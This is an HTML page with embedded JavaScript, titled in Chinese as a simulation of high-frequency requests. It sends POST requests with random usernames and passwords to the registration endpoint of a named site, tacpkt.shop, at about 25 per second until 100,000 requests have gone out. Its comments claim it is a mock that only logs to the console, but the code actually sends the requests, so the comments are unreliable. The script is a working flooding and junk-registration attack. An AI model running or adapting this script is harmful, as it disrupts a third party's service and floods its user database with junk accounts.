调用1000次.html 2.2KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8" />
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  6. <title>模拟高频请求</title>
  7. </head>
  8. <body>
  9. <script>
  10. function random1() {
  11. return Math.floor(Math.random() * 9000000000) + 1000000000;
  12. }
  13. function random2() {
  14. return Math.ceil(Math.random() * 9000000000) + 1000000000;
  15. }
  16. // 假设我们有一个模拟的API调用函数
  17. function mockApiCall() {
  18. // 在这里,我们只是简单地打印一条消息到控制台,而不是真正发送请求
  19. // 在实际情况下,你可能会使用fetch、axios或其他HTTP库来发送请求
  20. const username = random1();
  21. const password = random2();
  22. const data = new URLSearchParams();
  23. data.append("username", username);
  24. data.append("password", password);
  25. data.append("q_password", password);
  26. data.append("state", 0);
  27. fetch("http://tacpkt.shop/index/login/register", {
  28. method: "POST",
  29. headers: {
  30. Cookie: "think_var=zh-cn",
  31. "X-Requested-With": "XMLHttpRequest",
  32. Origin: "http://tacpkt.shop",
  33. Host: "tacpkt.shop",
  34. },
  35. body: data,
  36. });
  37. }
  38. // 例如,我们每秒发送10次请求
  39. const requestsPerSecond = 5;
  40. let counter = 0;
  41. // 使用setInterval来模拟每秒发送请求
  42. const intervalId = setInterval(() => {
  43. // 每次调用mockApiCall函数,并增加计数器
  44. for (let i = 0; i < requestsPerSecond; i++) {
  45. mockApiCall();
  46. }
  47. // 增加计数器,用于监控已经发送的请求数量
  48. counter += requestsPerSecond;
  49. console.log(`已发送 ${counter} 个请求`);
  50. // 如果你想要在某个点停止发送请求,可以清除interval
  51. // 例如,当发送了100个请求后停止
  52. if (counter >= 100000) {
  53. clearInterval(intervalId);
  54. console.log("停止发送请求");
  55. }
  56. }, 1000 / requestsPerSecond); // 调整时间间隔以匹配每秒的请求数
  57. </script>
  58. </body>
  59. </html>